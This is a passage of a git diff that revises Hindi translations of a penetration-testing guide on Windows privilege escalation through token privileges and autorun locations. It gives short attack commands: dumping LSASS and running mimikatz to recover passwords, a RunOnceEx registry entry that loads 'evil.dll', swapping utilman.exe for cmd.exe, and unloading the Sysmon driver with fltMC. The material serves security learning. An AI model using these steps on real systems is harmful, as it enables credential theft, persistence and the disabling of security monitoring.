टोकन बना सकते हैं और इसे एक विशेषाधिकार प्राप्त समूह के SID (सुरक्षा पहचानकर्ता) को जोड़कर बढ़ा सकते हैं। +- **SeImpersonatePrivilege के बिना अनुकरण:** विशेष परिस्थितियों में टोकनों का अनुकरण करने के लिए SeCreateTokenPrivilege का लाभ उठाना संभव है। +- **टोकन अनुकरण के लिए शर्तें:** सफल अनुकरण के लिए लक्षित टोकन को उसी उपयोगकर्ता का होना चाहिए और इसका इंटीग्रिटी लेवल उस प्रक्रिया के इंटीग्रिटी लेवल से कम या बराबर होना चाहिए जो अनुकरण करने का प्रयास कर रही है। +- **अनुकरण टोकनों का निर्माण और संशोधन:** उपयोगकर्ता एक अनुकरण टोकन बना सकते हैं और इसे एक विशेषाधिकार प्राप्त समूह के SID (Security Identifier) को जोड़कर बढ़ा सकते हैं। ### SeLoadDriverPrivilege -यह विशेषाधिकार **डिवाइस ड्राइवरों को लोड और अनलोड** करने की अनुमति देता है, जिसमें `ImagePath` और `Type` के लिए विशिष्ट मानों के साथ एक रजिस्ट्री प्रविष्टि का निर्माण शामिल है। चूंकि `HKLM` (HKEY_LOCAL_MACHINE) पर सीधे लिखने की पहुंच प्रतिबंधित है, इसलिए `HKCU` (HKEY_CURRENT_USER) का उपयोग किया जाना चाहिए। हालाँकि, ड्राइवर कॉन्फ़िगरेशन के लिए `HKCU` को कर्नेल द्वारा मान्यता प्राप्त करने के लिए, एक विशिष्ट पथ का पालन करना आवश्यक है। +यह विशेषाधिकार **डिवाइस ड्राइवरों को लोड और अनलोड** करने की अनुमति देता है, जिसमें `ImagePath` और `Type` के लिए विशिष्ट मानों के साथ रजिस्ट्री प्रविष्टि का निर्माण शामिल है। चूंकि `HKLM` (HKEY_LOCAL_MACHINE) पर सीधे लिखने की पहुंच प्रतिबंधित है, इसलिए `HKCU` (HKEY_CURRENT_USER) का उपयोग किया जाना चाहिए। हालाँकि, ड्राइवर कॉन्फ़िगरेशन के लिए `HKCU` को कर्नेल द्वारा पहचानने योग्य बनाने के लिए एक विशिष्ट पथ का पालन करना आवश्यक है। -यह पथ `\Registry\User\\System\CurrentControlSet\Services\DriverName` है, जहाँ `` वर्तमान उपयोगकर्ता का सापेक्ष पहचानकर्ता है। `HKCU` के अंदर, इस पूरे पथ को बनाना होगा, और दो मान सेट करने होंगे: +यह पथ `\Registry\User\\System\CurrentControlSet\Services\DriverName` है, जहाँ `` वर्तमान उपयोगकर्ता का रिलेटिव आइडेंटिफायर है। `HKCU` के अंदर, इस पूरे पथ को बनाना होगा, और दो मान सेट करने होंगे: - `ImagePath`, जो निष्पादित होने वाले बाइनरी का पथ है - `Type`, जिसका मान `SERVICE_KERNEL_DRIVER` (`0x00000001`) है। @@ -74,7 +74,7 @@ SeCreateTokenPrivilege एक शक्तिशाली अनुमति ह **अनुसरण करने के चरण:** 1. प्रतिबंधित लिखने की पहुंच के कारण `HKLM` के बजाय `HKCU` तक पहुँचें। -2. `HKCU` के भीतर `\Registry\User\\System\CurrentControlSet\Services\DriverName` पथ बनाएं, जहाँ `` वर्तमान उपयोगकर्ता का सापेक्ष पहचानकर्ता है। +2. `HKCU` के भीतर `\Registry\User\\System\CurrentControlSet\Services\DriverName` पथ बनाएं, जहाँ `` वर्तमान उपयोगकर्ता का रिलेटिव आइडेंटिफायर है। 3. `ImagePath` को बाइनरी के निष्पादन पथ पर सेट करें। 4. `Type` को `SERVICE_KERNEL_DRIVER` (`0x00000001`) के रूप में असाइन करें। ```python @@ -110,11 +110,11 @@ c:\inetpub\wwwwroot\web.config ``` ### SeDebugPrivilege -यह विशेषाधिकार **अन्य प्रक्रियाओं को डिबग करने** की अनुमति देता है, जिसमें मेमोरी में पढ़ने और लिखने की क्षमता शामिल है। मेमोरी इंजेक्शन के लिए विभिन्न रणनीतियाँ, जो अधिकांश एंटीवायरस और होस्ट घुसपैठ रोकथाम समाधानों को चकमा देने में सक्षम हैं, इस विशेषाधिकार के साथ लागू की जा सकती हैं। +यह विशेषाधिकार **अन्य प्रक्रियाओं को डिबग करने** की अनुमति देता है, जिसमें मेमोरी में पढ़ने और लिखने की क्षमता शामिल है। मेमोरी इंजेक्शन के लिए विभिन्न रणनीतियाँ, जो अधिकांश एंटीवायरस और होस्ट इंट्रूज़न प्रिवेंशन समाधानों को बायपास करने में सक्षम हैं, इस विशेषाधिकार के साथ लागू की जा सकती हैं। #### Dump memory -आप [ProcDump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) का उपयोग कर सकते हैं [SysInternals Suite](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite) से **एक प्रक्रिया की मेमोरी कैप्चर करने** के लिए। विशेष रूप से, यह **स्थानीय सुरक्षा प्राधिकरण उपप्रणाली सेवा (**[**LSASS**](https://en.wikipedia.org/wiki/Local_Security_Authority_Subsystem_Service)**)** प्रक्रिया पर लागू हो सकता है, जो एक बार उपयोगकर्ता के सफलतापूर्वक सिस्टम में लॉग इन करने के बाद उपयोगकर्ता क्रेडेंशियल्स को संग्रहीत करने के लिए जिम्मेदार है। +आप [ProcDump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) का उपयोग कर सकते हैं [SysInternals Suite](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite) से **एक प्रक्रिया की मेमोरी कैप्चर करने** के लिए। विशेष रूप से, यह **Local Security Authority Subsystem Service (**[**LSASS**](https://en.wikipedia.org/wiki/Local_Security_Authority_Subsystem_Service)**)** प्रक्रिया पर लागू हो सकता है, जो एक बार उपयोगकर्ता के सफलतापूर्वक सिस्टम में लॉग इन करने के बाद उपयोगकर्ता क्रेडेंशियल्स को स्टोर करने के लिए जिम्मेदार है। आप फिर इस डंप को mimikatz में लोड कर सकते हैं ताकि पासवर्ड प्राप्त कर सकें: ``` @@ -138,11 +138,11 @@ import-module psgetsys.ps1; [MyProcess]::CreateProcessFromParent(,- यदि आप %WINDIR%\MEMORY.DMP पढ़ सकते हैं तो यह अधिक दिलचस्प हो सकता है

- SeBackupPrivilege (और robocopy) खुली फ़ाइलों के मामले में सहायक नहीं है।

- Robocopy को /b पैरामीटर के साथ काम करने के लिए SeBackup और SeRestore दोनों की आवश्यकता होती है।

| | **`SeCreateToken`** | _**Admin**_ | 3rd party tool | `NtCreateToken` के साथ स्थानीय प्रशासनिक अधिकारों सहित मनमाने टोकन बनाएं। | | | **`SeDebug`** | _**Admin**_ | **PowerShell** | `lsass.exe` टोकन को डुप्लिकेट करें। | Script to be found at [FuzzySecurity](https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Conjure-LSASS.ps1) | diff --git a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md b/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md index 9925bcc8e..a6f49f04b 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md +++ b/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md @@ -14,7 +14,7 @@ ### SeImpersonatePrivilege -यह विशेषाधिकार किसी भी प्रक्रिया द्वारा धारण किया जाता है जो किसी भी टोकन का अनुकरण (लेकिन निर्माण नहीं) करने की अनुमति देता है, बशर्ते कि इसके लिए एक हैंडल प्राप्त किया जा सके। एक विशेषाधिकार प्राप्त टोकन को Windows सेवा (DCOM) से NTLM प्रमाणीकरण को एक एक्सप्लॉइट के खिलाफ प्रदर्शन करने के लिए प्रेरित करके प्राप्त किया जा सकता है, जिससे SYSTEM विशेषाधिकार के साथ एक प्रक्रिया के निष्पादन की अनुमति मिलती है। इस भेद्यता का लाभ विभिन्न उपकरणों का उपयोग करके उठाया जा सकता है, जैसे [juicy-potato](https://github.com/ohpe/juicy-potato), [RogueWinRM](https://github.com/antonioCoco/RogueWinRM) (जिसके लिए winrm को अक्षम करना आवश्यक है), [SweetPotato](https://github.com/CCob/SweetPotato), [EfsPotato](https://github.com/zcgonvh/EfsPotato), [DCOMPotato](https://github.com/zcgonvh/DCOMPotato) और [PrintSpoofer](https://github.com/itm4n/PrintSpoofer). +यह विशेषाधिकार किसी भी प्रक्रिया द्वारा धारण किया जाता है जो किसी भी टोकन का अनुकरण (लेकिन निर्माण नहीं) करने की अनुमति देता है, बशर्ते कि इसके लिए एक हैंडल प्राप्त किया जा सके। एक विशेषाधिकार प्राप्त टोकन को Windows सेवा (DCOM) से NTLM प्रमाणीकरण को एक एक्सप्लॉइट के खिलाफ प्रदर्शन करने के लिए प्रेरित करके प्राप्त किया जा सकता है, जिससे SYSTEM विशेषाधिकार के साथ एक प्रक्रिया के निष्पादन की अनुमति मिलती है। इस भेद्यता का लाभ विभिन्न उपकरणों का उपयोग करके उठाया जा सकता है, जैसे [juicy-potato](https://github.com/ohpe/juicy-potato), [RogueWinRM](https://github.com/antonioCoco/RogueWinRM) (जिसके लिए winrm को बंद करना आवश्यक है), [SweetPotato](https://github.com/CCob/SweetPotato), [EfsPotato](https://github.com/zcgonvh/EfsPotato), [DCOMPotato](https://github.com/zcgonvh/DCOMPotato) और [PrintSpoofer](https://github.com/itm4n/PrintSpoofer). {{#ref}} ../roguepotato-and-printspoofer.md @@ -27,7 +27,7 @@ ### SeAssignPrimaryPrivilege यह **SeImpersonatePrivilege** के समान है, यह एक विशेषाधिकार प्राप्त टोकन प्राप्त करने के लिए **समान विधि** का उपयोग करेगा।\ -फिर, यह विशेषाधिकार **एक प्राथमिक टोकन** को एक नए/स्थगित प्रक्रिया को असाइन करने की अनुमति देता है। विशेषाधिकार प्राप्त अनुकरण टोकन के साथ आप एक प्राथमिक टोकन (DuplicateTokenEx) उत्पन्न कर सकते हैं।\ +फिर, यह विशेषाधिकार **एक नए/स्थगित प्रक्रिया** को एक प्राथमिक टोकन असाइन करने की अनुमति देता है। विशेषाधिकार प्राप्त अनुकरण टोकन के साथ आप एक प्राथमिक टोकन (DuplicateTokenEx) उत्पन्न कर सकते हैं।\ इस टोकन के साथ, आप 'CreateProcessAsUser' के साथ एक **नई प्रक्रिया** बना सकते हैं या एक प्रक्रिया को स्थगित कर सकते हैं और **टोकन सेट कर सकते हैं** (सामान्यतः, आप एक चल रही प्रक्रिया के प्राथमिक टोकन को संशोधित नहीं कर सकते)। ### SeTcbPrivilege @@ -36,13 +36,13 @@ ### SeBackupPrivilege -यह विशेषाधिकार किसी भी फ़ाइल (पढ़ने के संचालन तक सीमित) के लिए **सभी पढ़ने की पहुंच** नियंत्रण प्रदान करता है। इसका उपयोग **स्थानीय व्यवस्थापक** खातों के पासवर्ड हैश को रजिस्ट्री से पढ़ने के लिए किया जाता है, जिसके बाद, जैसे उपकरणों का उपयोग किया जा सकता है "**psexec**" या "**wmiexec**" हैश के साथ (Pass-the-Hash तकनीक)। हालाँकि, यह तकनीक दो स्थितियों में विफल होती है: जब स्थानीय व्यवस्थापक खाता अक्षम होता है, या जब एक नीति लागू होती है जो दूरस्थ रूप से कनेक्ट करने वाले स्थानीय व्यवस्थापकों से प्रशासनिक अधिकार हटा देती है।\ +यह विशेषाधिकार किसी भी फ़ाइल (पढ़ने के संचालन तक सीमित) को **सभी पढ़ने की पहुंच** नियंत्रण देने के लिए प्रणाली को प्रेरित करता है। इसका उपयोग **स्थानीय व्यवस्थापक** खातों के पासवर्ड हैश को रजिस्ट्री से पढ़ने के लिए किया जाता है, जिसके बाद, "**psexec**" या "**wmiexec**" जैसे उपकरणों का उपयोग हैश के साथ किया जा सकता है (Pass-the-Hash तकनीक)। हालाँकि, यह तकनीक दो स्थितियों में विफल होती है: जब स्थानीय व्यवस्थापक खाता अक्षम होता है, या जब एक नीति लागू होती है जो दूरस्थ रूप से कनेक्ट करने वाले स्थानीय व्यवस्थापकों से प्रशासनिक अधिकार हटा देती है।\ आप इस विशेषाधिकार का **दुरुपयोग** कर सकते हैं: - [https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1](https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1) - [https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug](https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug) - **IppSec** का पालन करते हुए [https://www.youtube.com/watch?v=IfCysW0Od8w\&t=2610\&ab_channel=IppSec](https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610&ab_channel=IppSec) -- या जैसा कि समझाया गया है **Backup Operators के साथ विशेषाधिकार बढ़ाने** के अनुभाग में: +- या जैसा कि **Backup Operators के साथ विशेषाधिकार बढ़ाने** के अनुभाग में समझाया गया है: {{#ref}} ../../active-directory-methodology/privileged-groups-and-token-privileges.md @@ -64,16 +64,16 @@ SeCreateTokenPrivilege एक शक्तिशाली अनुमति ह ### SeLoadDriverPrivilege -यह विशेषाधिकार **डिवाइस ड्राइवरों को लोड और अनलोड** करने की अनुमति देता है, जिसमें `ImagePath` और `Type` के लिए विशिष्ट मानों के साथ एक रजिस्ट्री प्रविष्टि का निर्माण शामिल है। चूंकि `HKLM` (HKEY_LOCAL_MACHINE) पर सीधे लिखने की पहुंच प्रतिबंधित है, इसलिए `HKCU` (HKEY_CURRENT_USER) का उपयोग किया जाना चाहिए। हालाँकि, ड्राइवर कॉन्फ़िगरेशन के लिए `HKCU` को कर्नेल द्वारा मान्यता प्राप्त कराने के लिए एक विशिष्ट पथ का पालन करना आवश्यक है। +यह विशेषाधिकार **डिवाइस ड्राइवरों को लोड और अनलोड** करने की अनुमति देता है, जिसमें `ImagePath` और `Type` के लिए विशिष्ट मानों के साथ एक रजिस्ट्री प्रविष्टि का निर्माण शामिल है। चूंकि `HKLM` (HKEY_LOCAL_MACHINE) पर सीधे लिखने की पहुंच प्रतिबंधित है, इसलिए `HKCU` (HKEY_CURRENT_USER) का उपयोग किया जाना चाहिए। हालाँकि, ड्राइवर कॉन्फ़िगरेशन के लिए `HKCU` को कर्नेल द्वारा मान्यता प्राप्त करने के लिए, एक विशिष्ट पथ का पालन करना आवश्यक है। -यह पथ `\Registry\User\\System\CurrentControlSet\Services\DriverName` है, जहाँ `` वर्तमान उपयोगकर्ता का सापेक्ष पहचानकर्ता है। `HKCU` के अंदर, इस पूरे पथ का निर्माण किया जाना चाहिए, और दो मान सेट करने की आवश्यकता है: +यह पथ `\Registry\User\\System\CurrentControlSet\Services\DriverName` है, जहाँ `` वर्तमान उपयोगकर्ता का सापेक्ष पहचानकर्ता है। `HKCU` के अंदर, इस पूरे पथ को बनाना होगा, और दो मान सेट करने होंगे: - `ImagePath`, जो निष्पादित होने वाले बाइनरी का पथ है - `Type`, जिसका मान `SERVICE_KERNEL_DRIVER` (`0x00000001`) है। **अनुसरण करने के चरण:** -1. प्रतिबंधित लेखन पहुंच के कारण `HKLM` के बजाय `HKCU` तक पहुंचें। +1. प्रतिबंधित लेखन पहुंच के कारण `HKLM` के बजाय `HKCU` तक पहुँचें। 2. `HKCU` के भीतर `\Registry\User\\System\CurrentControlSet\Services\DriverName` पथ बनाएं, जहाँ `` वर्तमान उपयोगकर्ता का सापेक्ष पहचानकर्ता है। 3. `ImagePath` को बाइनरी के निष्पादन पथ पर सेट करें। 4. `Type` को `SERVICE_KERNEL_DRIVER` (`0x00000001`) के रूप में असाइन करें। @@ -125,7 +125,7 @@ mimikatz # sekurlsa::logonpasswords ``` #### RCE -यदि आप `NT SYSTEM` शेल प्राप्त करना चाहते हैं तो आप उपयोग कर सकते हैं: +यदि आप `NT SYSTEM` शेल प्राप्त करना चाहते हैं, तो आप उपयोग कर सकते हैं: - [**SeDebugPrivilege-Exploit (C++)**](https://github.com/bruno-1337/SeDebugPrivilege-Exploit) - [**SeDebugPrivilegePoC (C#)**](https://github.com/daem0nc0re/PrivFu/tree/main/PrivilegedOperations/SeDebugPrivilegePoC) @@ -140,7 +140,7 @@ import-module psgetsys.ps1; [MyProcess]::CreateProcessFromParent(,- यदि आप %WINDIR%\MEMORY.DMP पढ़ सकते हैं तो यह अधिक दिलचस्प हो सकता है

- SeBackupPrivilege (और robocopy) खुली फ़ाइलों के मामले में सहायक नहीं है।

- Robocopy को /b पैरामीटर के साथ काम करने के लिए SeBackup और SeRestore दोनों की आवश्यकता होती है।

| -| **`SeCreateToken`** | _**Admin**_ | 3rd party tool | `NtCreateToken` के साथ स्थानीय प्रशासनिक अधिकारों सहित मनमाने टोकन बनाएं। | | +| **`SeCreateToken`** | _**Admin**_ | 3rd party tool | `NtCreateToken` के साथ स्थानीय प्रशासनिक अधिकारों सहित मनमाना टोकन बनाएं। | | | **`SeDebug`** | _**Admin**_ | **PowerShell** | `lsass.exe` टोकन को डुप्लिकेट करें। | Script to be found at [FuzzySecurity](https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Conjure-LSASS.ps1) | | **`SeLoadDriver`** | _**Admin**_ | 3rd party tool |

1. szkg64.sys जैसे बग्गी कर्नेल ड्राइवर को लोड करें
2. ड्राइवर की भेद्यता का शोषण करें

वैकल्पिक रूप से, इस विशेषता का उपयोग ftlMC अंतर्निहित कमांड के साथ सुरक्षा-संबंधित ड्राइवरों को अनलोड करने के लिए किया जा सकता है। यानी: fltMC sysmondrv

|

1. szkg64 भेद्यता को CVE-2018-15732 के रूप में सूचीबद्ध किया गया है
2. szkg64 शोषण कोड को Parvez Anwar द्वारा बनाया गया था

| | **`SeRestore`** | _**Admin**_ | **PowerShell** |

1. SeRestore विशेषता के साथ PowerShell/ISE लॉन्च करें।
2. Enable-SeRestorePrivilege के साथ विशेषता सक्षम करें।
3. utilman.exe का नाम बदलकर utilman.old करें
4. cmd.exe का नाम बदलकर utilman.exe करें
5. कंसोल को लॉक करें और Win+U दबाएं

|

हमला कुछ AV सॉफ़्टवेयर द्वारा पता लगाया जा सकता है।

वैकल्पिक विधि उसी विशेषता का उपयोग करके "Program Files" में संग्रहीत सेवा बाइनरी को प्रतिस्थापित करने पर निर्भर करती है

| | **`SeTakeOwnership`** | _**Admin**_ | _**Built-in commands**_ |

1. takeown.exe /f "%windir%\system32"
2. icalcs.exe "%windir%\system32" /grant "%username%":F
3. cmd.exe का नाम बदलकर utilman.exe करें
4. कंसोल को लॉक करें और Win+U दबाएं

|

हमला कुछ AV सॉफ़्टवेयर द्वारा पता लगाया जा सकता है।

वैकल्पिक विधि उसी विशेषता का उपयोग करके "Program Files" में संग्रहीत सेवा बाइनरी को प्रतिस्थापित करने पर निर्भर करती है।

| -| **`SeTcb`** | _**Admin**_ | 3rd party tool |

टोकन को स्थानीय प्रशासनिक अधिकारों के साथ शामिल करने के लिए हेरफेर करें। SeImpersonate की आवश्यकता हो सकती है।

पुष्टि की जानी है।

| | +| **`SeTcb`** | _**Admin**_ | 3rd party tool |

टोकनों को इस तरह से हेरफेर करें कि स्थानीय प्रशासनिक अधिकार शामिल हों। SeImpersonate की आवश्यकता हो सकती है।

पुष्टि की जानी है।

| | ## Reference diff --git a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md b/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md index a98789095..6a77a7c12 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md +++ b/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md @@ -6,7 +6,7 @@ ## WMIC -**Wmic** का उपयोग **स्टार्टअप** पर प्रोग्राम चलाने के लिए किया जा सकता है। यह देखने के लिए कि कौन से बाइनरी स्टार्टअप पर चलाने के लिए प्रोग्रामित हैं: +**Wmic** का उपयोग **स्टार्टअप** पर प्रोग्राम चलाने के लिए किया जा सकता है। यह देखने के लिए कि कौन से बाइनरी स्टार्टअप पर चलाने के लिए प्रोग्राम किए गए हैं: ```bash wmic startup get caption,command 2>nul & ^ Get-CimInstance Win32_StartupCommand | select Name, command, Location, User | fl @@ -35,7 +35,8 @@ dir /b "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup" 2>nul Get-ChildItem "C:\Users\All Users\Start Menu\Programs\Startup" Get-ChildItem "C:\Users\$env:USERNAME\Start Menu\Programs\Startup" ``` -> **FYI**: आर्काइव निष्कर्षण *पथ यात्रा* कमजोरियों (जैसे कि WinRAR में 7.13 से पहले का एक, CVE-2025-8088) का उपयोग **इन स्टार्टअप फ़ोल्डरों के अंदर सीधे पेलोड जमा करने के लिए किया जा सकता है**, जिससे अगले उपयोगकर्ता लॉगिन पर कोड निष्पादन होता है। इस तकनीक में गहराई से जाने के लिए देखें: +> **FYI**: आर्काइव निष्कर्षण *पथ यात्रा* कमजोरियों (जैसे कि WinRAR में 7.13 से पहले का दुरुपयोग – CVE-2025-8088) का उपयोग **इन स्टार्टअप फ़ोल्डरों के अंदर सीधे पेलोड जमा करने के लिए किया जा सकता है**, जिससे अगले उपयोगकर्ता लॉगिन पर कोड निष्पादन होता है। इस तकनीक में गहराई से जाने के लिए देखें: + {{#ref}} ../../generic-hacking/archive-extraction-path-traversal.md @@ -46,7 +47,7 @@ Get-ChildItem "C:\Users\$env:USERNAME\Start Menu\Programs\Startup" ## रजिस्ट्री > [!TIP] -> [यहां से नोट](https://answers.microsoft.com/en-us/windows/forum/all/delete-registry-key/d425ae37-9dcc-4867-b49c-723dcd15147f): **Wow6432Node** रजिस्ट्री प्रविष्टि इंगित करती है कि आप 64-बिट Windows संस्करण चला रहे हैं। ऑपरेटिंग सिस्टम इस कुंजी का उपयोग 64-बिट Windows संस्करणों पर चलने वाले 32-बिट अनुप्रयोगों के लिए HKEY_LOCAL_MACHINE\SOFTWARE का एक अलग दृश्य प्रदर्शित करने के लिए करता है। +> [यहां से नोट]: The **Wow6432Node** रजिस्ट्री प्रविष्टि इंगित करती है कि आप 64-बिट Windows संस्करण चला रहे हैं। ऑपरेटिंग सिस्टम इस कुंजी का उपयोग 64-बिट Windows संस्करणों पर चलने वाले 32-बिट अनुप्रयोगों के लिए HKEY_LOCAL_MACHINE\SOFTWARE का एक अलग दृश्य प्रदर्शित करने के लिए करता है। ### रन @@ -66,7 +67,7 @@ Get-ChildItem "C:\Users\$env:USERNAME\Start Menu\Programs\Startup" **Run** और **RunOnce** के रूप में ज्ञात रजिस्ट्री कुंजियाँ हर बार जब एक उपयोगकर्ता सिस्टम में लॉग इन करता है, तो स्वचालित रूप से कार्यक्रमों को निष्पादित करने के लिए डिज़ाइन की गई हैं। कुंजी के डेटा मान के रूप में असाइन की गई कमांड लाइन 260 वर्णों या उससे कम तक सीमित है। -**सेवा चलती है** (बूट के दौरान सेवाओं के स्वचालित प्रारंभ को नियंत्रित कर सकती है): +**सेवा रन** (बूट के दौरान सेवाओं के स्वचालित प्रारंभ को नियंत्रित कर सकते हैं): - `HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce` - `HKCU\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce` @@ -82,7 +83,7 @@ Get-ChildItem "C:\Users\$env:USERNAME\Start Menu\Programs\Startup" - `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx` - `HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnceEx` -Windows Vista और बाद के संस्करणों पर, **Run** और **RunOnce** रजिस्ट्री कुंजियाँ स्वचालित रूप से उत्पन्न नहीं होती हैं। इन कुंजियों में प्रविष्टियाँ या तो सीधे कार्यक्रमों को प्रारंभ कर सकती हैं या उन्हें निर्भरताओं के रूप में निर्दिष्ट कर सकती हैं। उदाहरण के लिए, लॉगिन पर एक DLL फ़ाइल लोड करने के लिए, कोई **RunOnceEx** रजिस्ट्री कुंजी का उपयोग कर सकता है साथ ही "Depend" कुंजी। यह "C:\temp\evil.dll" को सिस्टम स्टार्ट-अप के दौरान निष्पादित करने के लिए रजिस्ट्री प्रविष्टि जोड़कर प्रदर्शित किया गया है: +Windows Vista और बाद के संस्करणों पर, **Run** और **RunOnce** रजिस्ट्री कुंजियाँ स्वचालित रूप से उत्पन्न नहीं होती हैं। इन कुंजियों में प्रविष्टियाँ या तो सीधे कार्यक्रमों को प्रारंभ कर सकती हैं या उन्हें निर्भरताओं के रूप में निर्दिष्ट कर सकती हैं। उदाहरण के लिए, लॉगिन पर एक DLL फ़ाइल लोड करने के लिए, कोई **RunOnceEx** रजिस्ट्री कुंजी का उपयोग कर सकता है साथ ही एक "Depend" कुंजी। यह "C:\temp\evil.dll" को सिस्टम स्टार्ट-अप के दौरान निष्पादित करने के लिए रजिस्ट्री प्रविष्टि जोड़कर प्रदर्शित किया गया है: ``` reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /d "C:\\temp\\evil.dll" ``` @@ -153,7 +154,7 @@ Get-ItemProperty -Path 'Registry::HKCU\Software\Wow6432Node\Microsoft\Windows\Ru - `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders` - `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders` -**Startup** फ़ोल्डर में रखे गए शॉर्टकट उपयोगकर्ता लॉगिन या सिस्टम रिबूट के दौरान सेवाओं या अनुप्रयोगों को स्वचालित रूप से लॉन्च करने के लिए ट्रिगर करेंगे। **Startup** फ़ोल्डर का स्थान रजिस्ट्री में **Local Machine** और **Current User** दोनों स्कोप के लिए परिभाषित है। इसका मतलब है कि इन निर्दिष्ट **Startup** स्थानों में जो भी शॉर्टकट जोड़ा जाएगा, वह लॉगिन या रिबूट प्रक्रिया के बाद जुड़े हुए सेवा या कार्यक्रम को शुरू करने की सुनिश्चितता देगा, जिससे कार्यक्रमों को स्वचालित रूप से चलाने के लिए शेड्यूल करने का यह एक सीधा तरीका बन जाता है। +**Startup** फ़ोल्डर में रखे गए शॉर्टकट उपयोगकर्ता लॉगिन या सिस्टम रिबूट के दौरान सेवाओं या अनुप्रयोगों को स्वचालित रूप से लॉन्च करने के लिए ट्रिगर करेंगे। **Startup** फ़ोल्डर का स्थान रजिस्ट्री में **Local Machine** और **Current User** स्कोप के लिए परिभाषित है। इसका मतलब है कि इन निर्दिष्ट **Startup** स्थानों में जो भी शॉर्टकट जोड़ा जाएगा, वह लॉगिन या रिबूट प्रक्रिया के बाद जुड़े हुए सेवा या कार्यक्रम को शुरू करेगा, जिससे कार्यक्रमों को स्वचालित रूप से चलाने के लिए शेड्यूल करने का यह एक सीधा तरीका बन जाता है। > [!TIP] > यदि आप **HKLM** के तहत किसी भी \[User] Shell Folder को ओवरराइट कर सकते हैं, तो आप इसे एक ऐसे फ़ोल्डर की ओर इंगित कर सकेंगे जिसे आप नियंत्रित करते हैं और एक बैकडोर रख सकते हैं जो किसी भी बार जब उपयोगकर्ता सिस्टम में लॉग इन करता है, तब निष्पादित होगा, जिससे विशेषाधिकार बढ़ेंगे। @@ -237,7 +238,7 @@ Active Setup निम्नलिखित रजिस्ट्री कु **Security Insights:** -- एक कुंजी को संशोधित करना या लिखना जहां **`IsInstalled`** `"1"` पर सेट है और एक विशिष्ट **`StubPath`** के साथ, अनधिकृत कमांड निष्पादन की ओर ले जा सकता है, संभावित रूप से विशेषाधिकार वृद्धि के लिए। +- एक कुंजी को संशोधित करना या उसमें लिखना जहां **`IsInstalled`** `"1"` पर सेट है और एक विशिष्ट **`StubPath`** के साथ, अनधिकृत कमांड निष्पादन का कारण बन सकता है, संभावित रूप से विशेषाधिकार वृद्धि के लिए। - किसी भी **`StubPath`** मान में संदर्भित बाइनरी फ़ाइल को बदलना भी विशेषाधिकार वृद्धि प्राप्त कर सकता है, यदि पर्याप्त अनुमतियाँ हों। Active Setup घटकों के बीच **`StubPath`** कॉन्फ़िगरेशन की जांच करने के लिए, इन कमांड्स का उपयोग किया जा सकता है: @@ -249,20 +250,20 @@ reg query "HKCU\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components ``` ### Browser Helper Objects -### Overview of Browser Helper Objects (BHOs) +### Browser Helper Objects (BHOs) का अवलोकन Browser Helper Objects (BHOs) DLL मॉड्यूल हैं जो Microsoft's Internet Explorer में अतिरिक्त सुविधाएँ जोड़ते हैं। ये Internet Explorer और Windows Explorer में प्रत्येक स्टार्ट पर लोड होते हैं। फिर भी, इनका निष्पादन **NoExplorer** कुंजी को 1 सेट करके रोका जा सकता है, जिससे ये Windows Explorer उदाहरणों के साथ लोड नहीं होते। -BHOs Windows 10 के साथ Internet Explorer 11 के माध्यम से संगत हैं लेकिन Microsoft Edge में समर्थित नहीं हैं, जो नए संस्करणों में Windows का डिफ़ॉल्ट ब्राउज़र है। +BHOs Windows 10 के साथ Internet Explorer 11 के माध्यम से संगत हैं लेकिन Microsoft Edge, जो नए संस्करणों में डिफ़ॉल्ट ब्राउज़र है, में समर्थित नहीं हैं। -सिस्टम पर पंजीकृत BHOs का पता लगाने के लिए, आप निम्नलिखित रजिस्ट्री कुंजियों की जांच कर सकते हैं: +सिस्टम पर पंजीकृत BHOs का अन्वेषण करने के लिए, आप निम्नलिखित रजिस्ट्री कुंजियों की जांच कर सकते हैं: - `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects` - `HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects` प्रत्येक BHO को रजिस्ट्री में इसके **CLSID** द्वारा दर्शाया जाता है, जो एक अद्वितीय पहचानकर्ता के रूप में कार्य करता है। प्रत्येक CLSID के बारे में विस्तृत जानकारी `HKLM\SOFTWARE\Classes\CLSID\{}` के तहत मिल सकती है। -रजिस्ट्री में BHOs को क्वेरी करने के लिए, इन कमांड्स का उपयोग किया जा सकता है: +रजिस्ट्री में BHOs को क्वेरी करने के लिए, इन कमांड का 